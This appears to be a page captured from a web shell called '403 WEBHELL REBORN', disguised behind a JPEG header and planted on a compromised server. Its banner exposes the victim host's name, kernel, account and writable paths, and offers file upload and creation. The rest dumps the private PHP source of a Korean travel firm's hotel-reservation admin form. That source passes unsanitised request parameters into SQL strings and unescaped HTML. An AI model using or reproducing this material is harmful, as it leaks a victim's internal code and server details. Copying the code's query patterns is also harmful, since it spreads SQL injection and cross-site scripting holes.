ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/admin/res_hotel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/admin/res_hotel/hotelResRegFormHotel.ajax.html
<?php 
/*
 *
 * 호텔상품예약 > 호텔상품예약  ajax
 *
 */
 
include "../include/top_proc.html";

// 파라메터
$SqlType=$SqlType; // 예약추가(hotel_res_addon),예약변경(hotel_res_updt)
$hseq=$hseq; // 호텔ID
$ridx=$ridx; // 룸타입ID
$hdidx=$hdidx; // 입실일ID
$room_date=$room_date; // 입실일
$res_no=$res_no; 

$HotelReserv = new HotelReserv();

// 기존 예약정보
if(isset($res_no)) {
	$data_res = $HotelReserv->res_hotel_master(" and res_no='{$res_no}' ");
	$row_res = $HotelReserv->res_hotel_master_replace($data_res[0]);
}

// 호텔정보
$data_hotel = hotel_list(" and hseq='{$hseq}' ");
$row_hotel = $data_hotel[0];

// 입실일 정보
$data_date = hotel_date($hseq," and r_idx='{$ridx}' and hdidx='{$hdidx}' ");
$row_date = hotel_date_replace($data_date[0]);

$room_date = $room_date; // 체크인일
$room_date_out = date("Y-m-d",strtotime($room_date." +1 day")); // 체크아웃일

// 박수,룸수 세팅
$data_setroom = hotelSetDateCheckRoom(array('hseq'=>$hseq,'ridx'=>$ridx,'room_date'=>$room_date,'room_cnt'=>1,'room_day'=>2));

// 옵션상품
$option_arr = $row_date['option_all'];

// 거래처 목록
$agent_arr = member_fetch(sprintf(" and mb_level = %d AND del_flag = 'N' ", $cf['agent_level']), "field(mb_id, 'trip.com', 'klook', 'kkday', 'coupang', 'naver') DESC, bz_corp_nm ASC");

// 거래처가
if(!empty($row_date['d_agent_ga'])) {
	$d_agent_ga_arr = explode("||",$row_date['d_agent_ga']);
	foreach($d_agent_ga_arr as $k=>$v) {
		if(!empty($v)) {
			$agent_ga_temp = explode("^",$v);
			$agent_ga_arr[$agent_ga_temp[0]] = $agent_ga_temp;
		}
	}
}

// 담당자
$admin_arr = member_fetch(" and mb_level <= 10  ");

//공급처
$prod_arr = member_fetch(" and mb_level ='13' and del_flag='N'  ");

?>
<input type="hidden" name="hseq" value="<?=$hseq?>">
<input type="hidden" name="ridx" value="<?=$ridx?>">
<input type="hidden" name="hdidx" value="<?=$hdidx?>">
<input type="hidden" name="room_date" value="<?=$room_date?>">
<!--<input type="hidden" name="admin_id" value="<?=$TK_MEMBER['mb_id']?>">-->

<script type="text/javascript">
//hotelResReg.js에 호텔/룸정보 불러와서 이용일자/가격 세팅하는 부분(mode='hotel')
var mode='hotel'; 

var hseq='<?=$hseq?>' , ridx='<?=$ridx?>';
var person_max_price=parseInt('<?=$row_date['person_max_price']?>');
var person_max_price_fr=parseInt('<?=$row_date['person_max_price_fr']?>');

// event
var __ma1HotelJob=function(){
	
	//성인/소인 숙박인원 인원수 세팅
	ckSelAdultChild();

	//입실일/숙박일수 에 따른 항목생성
	ckRoomDateOut();

	// 숙박자 입력목록 세팅
	ckRoomPersonIns();
		
	// 매입금액 소계
	$("input[name='buy_price_arr[]']").each(function(){
		dateDwLine($(this));
	});

	// 판매금액 소계
	$("input[name='sell_price_arr[]']").each(function(){
		dateDwLine($(this));
	});	
}

$(function(){
	// 입실/퇴실일 계산
	console.log('입실/퇴실일 계산');
	ckRoomDateOut();

	//성인/소인 숙박인원 인원수 세팅
	//ckSelAdultChild();
		
	// 추가항목 항목추가
	$(".itemBtnAddOnPriceRow").on("click",function(){
		addRowItem();
	});

	// 2019-10-17 조식항목 추가
	$(".itemBtnAddOnBFRow").on("click",function(){
		addRowItemBF();
	});

	// 추가항목 전체선택
	$(".item_checkbox_ckall").on("click",function(){
		$(".itemCheckBoxAddOn").prop("checked",$(this).prop("checked"));
	});

	// 추가항목 선택항목 삭제
	$(".itemBtnDelPriceRow").on("click",function(){
		$(".itemCheckBoxAddOn").each(function(){
			if($(this).prop("checked")==true) {
				delRowItem($(this).parent().parent().find("td").last().children()); // 추가항목 삭제
			}
		});
	});

	// 매입금액 / 판매금액할인
	$(".itemTableTrDiscount .itemInput").on("blur",function(){
		var r=dateDwCal38();//  전체금액 계산
	});

	// 옵션상품 소계
	$(".itemTableTrOption .itemInput").on("blur",function(){
		dateDwLineOption($(this));	
	});

	// 거래처 선택 시 거래처가 연동
	$('#frm_ins #agent_id').on("change", function(){
		console.log('agent_id change');
		var agent_id = $(this).val();
		var agent_price = $(this).children("option:selected").attr('agent_price');
		if(agent_price=='') agent_price = 0;

		$("#frm_ins input[name='agent_price_arr[]']:eq(0)").val(number_format(agent_price));

		console.log("set agent_price : " + agent_price);
		if(agent_price != 0) {
			$("#frm_ins input[name='sell_price_arr[]']:eq(0)").val(0);
			$("#frm_ins input[name='sell_price_arr_fr[]']:eq(0)").val(0);
		} else {
			var sell_price_old = $("#frm_ins input[name='sell_price_arr[]']:eq(0)").attr('sell_price_old');
			var sell_price_fr_old = $("#frm_ins input[name='sell_price_arr[]']:eq(0)").attr('sell_price_fr_old');
			$("#frm_ins input[name='sell_price_arr[]']:eq(0)").val(sell_price_old);
			$("#frm_ins input[name='sell_price_arr_fr[]']:eq(0)").val(sell_price_fr_old);
		}

		dateDwCal38();
	});

	setTimeout(function(){ 
		var sell_price=$(".item_addon_price_box").find("input[name='sell_price_arr[]']").eq(0).val();
		$(".item_addon_price_box").find("input[name='sell_price_tot_arr[]']").eq(0).val(sell_price);
		dateDwCal38(); 
	}, 1000);

});

//2019-10-17 조식 추가
function addRowItemBF()
{
	var _tmp = _HTML_ADDON_PRICE.replace('{INPUT}','<input type="checkbox" name="" class="itemCheckBoxAddOn" value="">'); 
	_tmp = _tmp.replace('{TITLE}','<input type="hidden" name="gu_arr[]" value="B"><input name="itemnm_arr[]" type="text" class="input_text"  value="조식" size="18" hname="조식항목" required readonly>'); 
	_tmp = _tmp.replace('{DATE}','<input name="room_date_arr[]" type="text" class="cal_input"  value="'+cur_date()+'"  readonly onclick="AjaxCal(this,event)" size="15" hname="이용일자" required>');
	_tmp = _tmp.replace('{COUNT}','<input type="text" class="input_text item_count" name="i_count_arr[]" size="4" maxlength="3" value="0" style="text-align:center;ime-mode:disabled;" onkeydown="ChkNum(this,event);">');
	_tmp = _tmp.replace('{COST_PRICE}',0);
	_tmp = _tmp.replace('{AGENT_PRICE}',0);
	_tmp = _tmp.replace('{SELL_PRICE}',0);
	_tmp = _tmp.replace('{SELL_PRICE_FR}',0);
	_tmp = _tmp.replace('{CLASS}','itemTableTrAddOn');
	_tmp = _tmp.replace('{CONTROL_BTN}','<input type="button" class="Table_btn blue itemButtonDelRow" value="삭제">'); 	

	htmlStr = _tmp;
	
	$(".item_addon_price_box tbody").append(htmlStr);

	// 매입금액/판매금액 소계
	$(".itemTableTrAddOn input[name='buy_price_arr[]']").on("blur",function(){
		dateDwLine($(this));// 매입금액/판매금액 소계 
	});
	
	$(".itemTableTrAddOn input[name='sell_price_arr[]']").on("blur",function(){
		dateDwLine($(this));// 매입금액/판매금액 소계 
	});

	$(".itemTableTrAddOn input[name='i_count_arr[]']").on("blur",function(){
		dateDwLine($(this));// 매입금액/판매금액 소계 
	});	

	// 추가항목 삭제
	$(".itemButtonDelRow").on("click",function(){
		delRowItem($(this));// 추가항목 삭제
	});
}

</script>

<table width="100%" border="0" cellspacing="0" cellpadding="0">	
	<tr>
		<td valign="top" colspan="3">
			<div class="pop_title"><div class="lo_left">상품정보</div> 
		</td>
	</tr>		
<tr>
	<td valign="top" >
		<table width="100%" border="0" cellspacing="0" cellpadding="0" class="setting_write">
		<tbody>
			<tr>
				<th width="140">호텔명</th>
				<td width="500">
					<input type="text" class="input_text" id="" name="hnm" value="<?=$row_hotel['hotel_nm']?>" size="50" hname="호텔명" required readonly>
					<input type="button" name="" value="조회" class="Table_btn red" onclick="to_dialog.iframe('../res_good/hotel_reg.html?skin=hotel_new_reg&SqlType=<?=$SqlType?>&lang=<?=$lang?>','호텔예약','1000','550',true,true,'yes');">
					<input type="button" name="" value="초기화" class="Table_btn blue" onclick="ajax_loader('hotelResRegFormNew.ajax.html?SqlType=<?=$SqlType?>&lang=<?=$lang?>','item_ajaxResHotel');">
					<input type="button" name="" value="reload" class="Table_btn gray" onclick="ajax_loader('hotelResRegFormHotel.ajax.html?hseq=<?=$hseq?>&ridx=<?=$ridx?>&hdidx=<?=$hdidx?>&room_date=<?=$room_date?>&lang=<?=$lang?>','item_ajaxResHotel');">
				</td>
				<th width="140">입실일</th>
				<td><input type="text" class="cal_input" id="room_date" name="room_date" value="<?=$room_date?>" size="15" readonly onClick="AjaxCal(this,event,{'add_event':'ckRoomDateOut()'});">
				</td>				
			</tr>
			<tr>
				<th>룸타입</th>
				<td>
					<input type="text" class="input_text" id="" name="rnm" value="<?=$row_date['room_type']?>" size="50" readonly>
				</td>
				<th>숙박일 수</th>
				<td><select name="room_day" id="room_day" style="width:50px;" onChange="__ma1HotelJob();">
						<?php for($i=1 ; $i<=$cf['max_reserv_room_day'] ; $i++){?>
						<option value="<?=$i?>"><?=$i?></option>
						<?php }?>
					</select> 박
				</td>				
			</tr>
			<tr>
				<th>베드타입</th>
				<td>
					<select name="room_bedtype" style="width:150px;">
						<option value=""></option>
						<?if(is_array($row_date['room_bedtype_all'])){?>
							<?foreach($row_date['room_bedtype_all'] as $v){?>
							<option value="<?=$v?>" <?=($$room_bedtype)?"selected":""?>><?=$v?></option>
						<?}}?>
					</select>
				</td>
				<th>퇴실일</th>
				<td><input type="text" class="input_text" id="room_date_out" name="room_date_out" value="" style="border:0px;background-Color:#ffffff;" readonly></td>				
			</tr>		
			<tr>
				<th>성인 기준인원</th>
				<td>
					<input type="text" class="input_text" id="person_num" name="person_num" value="<?=$row_date['person_num']?>" old_val='<?=$row_date['person_num']?>' size="6" onkeydown="ChkNum(this,event);" maxlength="2" onBlur="__ma1HotelJob();" readonly>명
				</td>
				<th>객실수</th> 
				<td>
					<select name="room_cnt" id="room_cnt" style="width:50px;"  onChange="__ma1HotelJob();">
						<?php for($i=1 ; $i<=10 ; $i++) {?>
						<option value="<?=$i?>"><?=$i?></option>
						<?php }?>
					</select> 룸  
				</td>	
			</tr>
			<tr>
				<th>성인 최대인원</th>
				<td>
					<input type="text" class="input_text" id="person_maxnum" name="person_maxnum" value="<?=$row_date['person_maxnum']?>" old_val='<?=$row_date['person_maxnum']?>' size="6" onkeydown="ChkNum(this,event);" maxlength="2" onBlur="__ma1HotelJob();" readonly>명
				</td>
				<th>성인 숙박인원</th>
				<td>
					<select name="room_adult_num" id="room_adult_num" style="width:50px;" onChange="__ma1HotelJob();">
						<option value="0">0</option>
						<?for($i=1,$j=0 ; $i<=$data_setroom['r_adult_maxnum'] ; $i++) {
								$bgcolor="";
								if($i>$data_setroom['r_adult_num']) {
									$bgcolor="#FF0000";
									$j++;
								}
						?>
						<option value='<?=$i?>' <?=($room_adult_num==$i)?"selected":""?> maxnum="<?=$j?>" style="background-Color:<?=$bgcolor?>;"><?=$i?></option>
						<?}?>
					</select>
					※<span style="color:red;">빨간색</span>은 초과인원 
				</td>				
			</tr>		
			<tr>
				<th>소인 최대인원</th>
				<td><input type="text" class="input_text" id="child_maxnum" name="child_maxnum" value="<?=$row_date['child_maxnum']?>" size="6" onkeydown="ChkNum(this,event);" maxlength="2" onBlur="__ma1HotelJob();" readonly>명</td>
				<th>소인 숙박인원</th>
				<td>
					<select name="room_child_num" id="room_child_num" style="width:50px;" onChange="__ma1HotelJob();">
						<option value="0">0</option>
						<?for($i=1 ; $i<=$data_setroom['r_child_num'] ; $i++) {?>
						<option value='<?=$i?>' <?=($room_child_num==$i)?"selected":""?> ><?=$i?></option>
						<?}?>
					</select>
				</td>
			</tr>
			<tr>
				<th>구분설정</th>
				<td colspan="3">
					담당자 :
					<select name="admin_id" id="admin_id" style="width:180px;" hname="담당자">
						<option value="">==선택==</option>
						<?
								for($i=0 ; $i < count($admin_arr) ; $i++){
									$arr = $admin_arr[$i];
						?>
						<option value="<?=$arr['mb_id']?>" <?=($arr['mb_id']==$row_hotel['admin_id'])?"selected":""?>><?=$arr['mb_nm']?></option>
						<?}?>
					</select>

					공급처 : 
					<select name="producer_id" id="producer_id" style="width:180px;" >
						<option value="">==선택==</option>
							<?
								for($i=0 ; $i < count($prod_arr) ; $i++){
									$arr = $prod_arr[$i];
							?>
							<option value="<?=$arr['mb_id']?>" <?=($arr['mb_id']==$row_hotel['producer_id'])?"selected":""?>><?=$arr['bz_corp_nm']?></option>
						<?}?>
					</select>

					거래처 : 
					<select name="agent_id" id="agent_id" style="width:180px;" >
						<option value="">==선택==</option>
						<?
							for($i=0 ; $i < count($agent_arr) ; $i++){
								$arr = $agent_arr[$i];
						?>
						<option value="<?=$arr['mb_id']?>" agent_price="<?=$agent_ga_arr[$arr['mb_id']][1]?>"><?=$arr['bz_corp_nm']?></option>
						<?}?>
					</select>

				</td>
			</tr>
			<tr>
				<th>고객요청</th>
				<td><textarea name="res_cust_memo" rows="3" cols="60"></textarea></td>
				<th>비고</th>
				<td><input name="cont" class="input_text" id="" type="text" size="60" value=""></td>
			</tr>
		</tbody>
		</table>
	
	</td>
	</tr>
<tr>
	<td valign="top" colspan="4" height="35" style="padding-top:10px;text-align: right;">
		<input 23 type="button" class="Table_btn red itemBtnAddOnBFRow" value="조식추가(+)" > &nbsp; <input type="button" class="Table_btn red itemBtnAddOnPriceRow" value="항목추가(+)" > &nbsp; <input type="button" class="Table_btn blue itemBtnDelPriceRow" value="선택항목삭제(-)" >
	</td>
</tr>			
<tr>
	<td valign="top" colspan="3">
			<table width="100%" border="0" cellspacing="0" cellpadding="0" class="setting_write item_addon_price_box">
				<thead>
				<tr>
					<th width="20"><input type="checkbox" name="" class="item_checkbox_ckall" value=""></th>
					<th width="110" style="text-align:center;">항목</th>
					<th width="110" style="text-align:center;">이용일자</th>
					<th style="text-align:center;">공급가</th>
					<th style="text-align:center;">거래처가</th>
					<th style="text-align:center;">판매가</th>
					<th width="60" style="text-align:center;">갯수</th>
					<th width="90" style="text-align:center;">공급가 소계</th>
					<th width="90" style="text-align:center;">거래처가 소계</th>
					<th width="90" style="text-align:center;">판매가 소계</th>
					<th width="110" style="text-align:center;">비고</th>
					<th width="40" style="text-align:center;">-</th>
				</tr>
				</thead>
				<tbody>
				<!-- 호텔일자별 가격정보 --><!--/호텔일자별 가격정보 -->	
				<!-- 일자별 추가인원 가격정보 --><!--/일자별 추가인원 가격정보 -->
				<!-- 추가 가격정보 --><!-- /추가 가격정보 -->
				</tbody>
				<thead>
				<!-- 옵션 가격정보 -->
				<?
					if(is_array($option_arr)){foreach($option_arr as $r){
				?>
				<tr style="text-align:center;" class="itemTableTrOption">
					<td></td>
					<td style="text-align: left;">
						<?=$r['op_nm']?>
						<input type="hidden" name="opid_arr[]" value="<?=$r['opid']?>">
						<input type="hidden" name="op_nm_arr[]" value="<?=$r['op_nm']?>">
					</td>
					<td>숙박기간중</td>
					<td><input type="text" name="op_buy_price_arr[]" class="input_text itemInput" value="<?=number_format($r['op_price_cost'])?>" size="11" style="text-align:right;ime-mode:disabled;" onkeydown="ChkNum(this,event);" onblur="this.value=comma(this.value);"></td>
					<td></td>
					<td><input TYPE="hidden" NAME="op_sell_price_arr_fr[]" value="<?=$r['op_price_sell']?>" value_old="<?=$r['op_price_sell']?>"><input TYPE="text" NAME="op_sell_price_arr[]" class="input_text itemInput" value="<?=number_format($r['op_price_sell'])?>" value_old="<?=number_format($r['op_price_sell'])?>" style="text-align:right;ime-mode:disabled;" onkeydown="ChkNum(this,event);" onblur="this.value=comma(this.value);" maxlength="10" size="11" title="판매금액"></td>
					<td><input type="text" class="input_text item_count itemInput" name="op_num_arr[]" size="4" maxlength="3" value="0" style="text-align:center;ime-mode:disabled;" onkeydown="ChkNum(this,event);"></td>
					<td><input type="text" class="item_buy_price_tot" name="op_buy_price_tot_arr[]"  size="11" value="0" style="border:0px;text-align:right;backgound-Color:#fffff;" readonly></td>
					<td></td>
					<td><input type="hidden" class="item_sell_price_tot_fr" name="op_sell_price_tot_arr_fr[]" value="0"><input type="text" class="item_sell_price_tot" name="op_sell_price_tot_arr[]" size="11" value="0" style="border:0px;text-align:right;backgound-Color:#fffff;" readonly></td>
					<td><input type="text" name="op_comt_arr[]" size="15" class="input_text" value=""></td>	
					<td>-</td>
				</tr>
				<?}}?>
				<!-- /옵션 가격정보 -->
				<tr style="text-align:center;" class="itemTableTrDiscount">
					<td></td>
					<td>할인(-)</td>
					<td></td>
					<td></td>
					<td></td>
					<td></td>
					<td></td>
					<td>(-)<input name="discount_buy" class="input_text itemInput" style="text-align: right; -ms-ime-mode: disabled;" onkeydown="ChkNum(this,event);" onblur="this.value=comma(this.value);if($(this).val()!=$(this).attr('value_old')){}" type="text" size="9" maxlength="15" value="<?=number_format($row['discount_buy'])?>" value_old="<?=number_format($row['discount_buy'])?>"></td>
					<td>(-)<input name="discount_agent" class="input_text itemInput" style="text-align: right; -ms-ime-mode: disabled;" onkeydown="ChkNum(this,event);" onblur="this.value=comma(this.value);if($(this).val()!=$(this).attr('value_old')){}" type="text" size="9" maxlength="15" value="<?=number_format($row['discount_agent'])?>" value_old="<?=number_format($row['discount_agent'])?>"></td>
					<td>(-)<input name="discount_sell" class="input_text itemInput" style="text-align: right; -ms-ime-mode: disabled;" onkeydown="ChkNum(this,event);" onblur="this.value=comma(this.value);if($(this).val()!=$(this).attr('value_old')){}" type="text" size="9" maxlength="15" value="<?=number_format($row['discount_sale'])?>" value_old="<?=number_format($row['discount_sale'])?>"><input type="hidden" name="discount_sell_fr" value="<?=$row['discount_sale_fr']?>" value_old="<?=$row['discount_sale_fr']?>"></td>
					<td><input type="text" name="discount_cmt" size="15" class="input_text" value="<?=$row['discount_cmt']?>"></td>
					<td></td>
				</tr>			
				<tr style="text-align:center;">
					<td></td>
					<td>합계</td>
					<td colspan="5"></td>
					<td><span id="item_buy_gtot"><?=number_format($buy_gtot)?></span></td>
					<td><span id="item_agent_gtot"><?=number_format($agent_gtot)?></span></td>
					<td><span id="item_sell_gtot"><?=number_format($sale_gtot)?></span></td>
					<td colspan="2"></td>
				</tr>
				</thead>
				</table>
		</td>
	</tr>		
</table>

Anon7 - 2021